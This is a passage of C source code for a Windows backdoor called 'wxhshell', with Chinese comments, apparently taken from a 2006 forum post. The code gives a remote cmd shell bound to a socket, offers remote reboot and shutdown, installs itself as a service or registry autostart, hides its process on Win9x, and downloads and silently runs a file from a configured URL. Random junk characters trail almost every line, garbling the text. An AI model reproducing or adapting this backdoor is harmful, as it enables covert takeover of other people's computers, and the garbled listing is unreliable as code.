  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #E4|@}30`  
  } h.5KzC S  
  else { axz.[L_elB  
Zo}vV2  
    switch(cmd[0]) { \-r"%@OkW  
  z(1`Iy M  
  // 帮助 |F&02 f!]@  
  case '?': { pSodT G$E  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =&WH9IKz  
    break; Dao=2JB{  
  }  !xEGN@  
  // 安装 3|4<SMm  
  case 'i': { ?7A>|p?"  
    if(Install()) 96<0=   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jo:S *D  
    else ,z`* 1b8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _Oy;:XN  
    break; yBfX4aH:`  
    } $ U-#woXa  
  // 卸载 cueaOtD  
  case 'r': { 4X5KrecNr  
    if(Uninstall()) nRs:^Q~o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K7wU tg  
    else h8icF}m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [R<>3}50Y  
    break; *s|'V+1  
    } j eyGIY  
  // 显示 wxhshell 所在路径 0N_u6*@  
  case 'p': { #{@qC2!2/  
    char svExeFile[MAX_PATH]; _,3%)sn-)  
    strcpy(svExeFile,"\n\r"); z[0tM&pv  
      strcat(svExeFile,ExeFile); yacN=]SW5  
        send(wsh,svExeFile,strlen(svExeFile),0); u=7 #_ZC9L  
    break; piXL6V@c  
    } #?'@?0<6  
  // 重启 ;Swy5z0=ro  
  case 'b': { 5. +_'bF|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +-qa7  
    if(Boot(REBOOT)) nxe9^h7m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1wBmDEhS  
    else { ym'!f|9AA  
    closesocket(wsh); Wjr^: d  
    ExitThread(0); !1Nh`FN  
    } r(JP& @  
    break; '~zi~Q7M  
    } HF*j=qt!  
  // 关机 n _kE  
  case 'd': { ' 1X^@]+6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,>Dpt <  
    if(Boot(SHUTDOWN)) }H|'W[Q.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F12$BK DH  
    else { 5-UrHbpCZ#  
    closesocket(wsh); kc<5wY_t  
    ExitThread(0); lLLPvW[Q  
    } WG +]  
    break; K?>sP%m)  
    } 9(lcQuE9  
  // 获取shell RV%)~S@!R  
  case 's': { <7`U1DR=  
    CmdShell(wsh); 4<Kxo\\S  
    closesocket(wsh); M9?f`9  
    ExitThread(0); F:8@ ]tA&  
    break; ;9' ] na  
  } d=dHY(ms]  
  // 退出 eu'~(_2  
  case 'x': { ahFK^ #s  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dnkHx  
    CloseIt(wsh); Vz evOS  
    break; S_38U  
    } dF*M"|[  
  // 离开 XXxH<E$p  
  case 'q': { g @NwW&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); w!-MMT4y  
    closesocket(wsh); l[[^]__  
    WSACleanup(); X6xs@tgQ  
    exit(1); m@2=v q1f  
    break; Y++n0sK5<  
        } t+D= @"BZP  
  } (S2E'L L{  
  } YKzfI9Y  
P_)=sj!>-  
  // 提示信息 bmJdZD7-<k  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {u4AOM=)  
} Y$s4 *)%  
  } N_d{E/  
XW~a4If  
  return; LMuDda  
} ]~ !CJ8d  
5F#FC89Kk  
// shell模块句柄 Pk=0pHH8q  
int CmdShell(SOCKET sock) -Ua&/Yd/}  
{ Z/d {v:)  
STARTUPINFO si; ^ 4*#QtO  
ZeroMemory(&si,sizeof(si)); JF=T_SH^U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z<gII~%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z+=-)&L  
PROCESS_INFORMATION ProcessInfo; syCT)}T6z  
char cmdline[]="cmd"; ElKMd  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v Ov"^X  
  return 0; #/H Z[Vw  
} s\p 1EL(  
>E3-/)Ti  
// 自身启动模式 uPE Ab2u="  
int StartFromService(void) p{+F{e  
{ 8C@6 b4VK  
typedef struct .o]9 HbIk5  
{ 6C\WX(@4  
  DWORD ExitStatus; dx+xs&  
  DWORD PebBaseAddress; (-`PO]e48  
  DWORD AffinityMask; =`UFg >-  
  DWORD BasePriority; }aQ*1Vcj  
  ULONG UniqueProcessId; [Y j: H  
  ULONG InheritedFromUniqueProcessId; *Ea)b -  
}   PROCESS_BASIC_INFORMATION; AQ,"):ofvT  
}<&?t;  
PROCNTQSIP NtQueryInformationProcess; Wevd6)\  
NE4]i  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A4Q{(z-?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; YFW/ Fa\7  
}$g"|;<ha  
  HANDLE             hProcess; ;#mm_*L%@  
  PROCESS_BASIC_INFORMATION pbi; ,<Wt8'e  
y>7 r;e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p,!IPWo  
  if(NULL == hInst ) return 0; q_98=fyE6  
R<ORw]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lCTXl5J5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Zr=B8wuT  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?FwHqyFVlQ  
fzOh3FO+  
  if (!NtQueryInformationProcess) return 0; mA"[x_  
\U##b~Z,g  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y#6LNI   
  if(!hProcess) return 0; {?"X\5n0  
XVb9)a  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L-9;"]d~|  
+ej5C:El_}  
  CloseHandle(hProcess); T Qx<lw  
f1sp6S0V\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $4qM\3x0,  
if(hProcess==NULL) return 0; #2"'tHf4  
9+/D\|"{  
HMODULE hMod; V]m}xZ'?^  
char procName[255]; s_^N=3Si   
unsigned long cbNeeded; l/"!}wF  
&N]e pV>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %~kE,^  
YY(_g|;?8  
  CloseHandle(hProcess); {u -J?(s}  
6']G HDK  
if(strstr(procName,"services")) return 1; // 以服务启动 #{#k;va  
Ro4!y:2|  
  return 0; // 注册表启动 e+:X%a4\  
} A/"2a55  
v#`>  
// 主模块 TK%q}bK,  
int StartWxhshell(LPSTR lpCmdLine) Y88N*axDW.  
{ d1D=R8P_u  
  SOCKET wsl; W; os4'h$  
BOOL val=TRUE; VJl0UM3{J  
  int port=0; ]&9=f#k%  
  struct sockaddr_in door; R%q:].  
] SLeWs  
  if(wscfg.ws_autoins) Install(); AEDBr<  
6y57m;JW/  
port=atoi(lpCmdLine); UZmo?&y  
d|)ARRW  
if(port<=0) port=wscfg.ws_port; (44L8)I.D  
)>U"WZ'<  
  WSADATA data; #2$wI^O  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; K9yZG  
J<4_<.o(a  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ynZEJKo  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &9z&#`AY]>  
  door.sin_family = AF_INET; 1ox#hQBoS  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ma!C:C9#J  
  door.sin_port = htons(port); >< P<k&  
7=Pj}x)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j>l  
closesocket(wsl); hJ8% r_  
return 1; ~)[ pL(4  
} 2oOos%0  
t o8J   
  if(listen(wsl,2) == INVALID_SOCKET) { BE],PCpPr  
closesocket(wsl); 0c1=M|2  
return 1; l!W!Gz0to  
} :eT\XtxM~{  
  Wxhshell(wsl); fY?:SPR+  
  WSACleanup(); EyA(W;r.  
qR_Np5nHF  
return 0; }Kp$/CYd  
bg_io*K  
} @F*z/E}e  
3orL;(.G  
// 以NT服务方式启动 5|>ms)[RQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r`.Bj0  
{ j]` hy"  
DWORD   status = 0; ~D`R"vzw=  
  DWORD   specificError = 0xfffffff; uFhPNR2l  
bj0<A  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ciz,1IV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ShvC4Xb 0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o|c&$)m  
  serviceStatus.dwWin32ExitCode     = 0; ?<Hgq8J  
  serviceStatus.dwServiceSpecificExitCode = 0; jC$~m#F  
  serviceStatus.dwCheckPoint       = 0; O '`|(L  
  serviceStatus.dwWaitHint       = 0; %++S;#)~  
}NRt:JC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qs= i+  
  if (hServiceStatusHandle==0) return; gg8)oc+w  
y4aT-^C'  
status = GetLastError(); .j"heYF)  
  if (status!=NO_ERROR) x\yr~$}(J  
{ ;]=@;? 9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; o4@d,uIw^  
    serviceStatus.dwCheckPoint       = 0; iT s" RW  
    serviceStatus.dwWaitHint       = 0; :#_k`{WG  
    serviceStatus.dwWin32ExitCode     = status; u,}>I%21  
    serviceStatus.dwServiceSpecificExitCode = specificError; DMs8B&Y=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9 C{Xpu  
    return; -nX{&Z3-s  
  } Pth4_]US  
x1STjI>i  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $}5M`p\&C  
  serviceStatus.dwCheckPoint       = 0; oHp"\Z&  
  serviceStatus.dwWaitHint       = 0; /v| b]Ji  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lw?C:-m  
} %[ *+  
Xc^(e?L4  
// 处理NT服务事件,比如:启动、停止 m^0 I3;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) C8YStT  
{ + 65<|0  
switch(fdwControl) TiZ MY:^  
{ k`]76C7  
case SERVICE_CONTROL_STOP: Zy{hYHQ  
  serviceStatus.dwWin32ExitCode = 0; k6Vs#K7a  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8wZ $Hq  
  serviceStatus.dwCheckPoint   = 0; w^n&S=E E~  
  serviceStatus.dwWaitHint     = 0; =knLkbiq7,  
  { gkq~0/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &e#pL`N  
  } /R?*i@rvf  
  return; G&MO(r}B  
case SERVICE_CONTROL_PAUSE: Z![#Uz.z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; aHI~@  
  break; \ $t{K  
case SERVICE_CONTROL_CONTINUE: NwQ$gDgu t  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3UZ_1nY  
  break; D&@ js!|5  
case SERVICE_CONTROL_INTERROGATE: b j<T`M!  
  break; NNTrH\SU #  
}; t\!5$P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RZSEcRlN  
} QJ>=a./  
cIkA ~F  
// 标准应用程序主函数 UYQ@ub  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /X#OX 8gb]  
{ I\rjw$V#  
9ao?\]&t  
// 获取操作系统版本 6& hiW]Adm  
OsIsNt=GetOsVer(); 7Wiwnv_"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Vhb~kI!x  
b}u#MU  
  // 从命令行安装 [xDIK8d:I  
  if(strpbrk(lpCmdLine,"iI")) Install(); h"}F3E  
~)X;z"y%b  
  // 下载执行文件 %?qzP '  
if(wscfg.ws_downexe) { IF//bgk-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -GQ.B{%G  
  WinExec(wscfg.ws_filenam,SW_HIDE); T2mZkK?rA  
} y^kC2DS   
a{%EHL,F  
if(!OsIsNt) { U~c9PqjZ  
// 如果时win9x,隐藏进程并且设置为注册表启动 R iV]SgV 9  
HideProc(); _+}hId  
StartWxhshell(lpCmdLine); YhAO  
} |BGzdBm^x:  
else `$3P@SO"  
  if(StartFromService()) ,pkzNe`F  
  // 以服务方式启动 `fVzY"Qv k  
  StartServiceCtrlDispatcher(DispatchTable); cRf;7G  
else ~Sd,Tu%:  
  // 普通方式启动 5VfpeA `  
  StartWxhshell(lpCmdLine); y4!fu<[i  
'Nx"_jQ  
return 0; $D f1t  
}
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只看该作者 1 发表于: 2006-10-10
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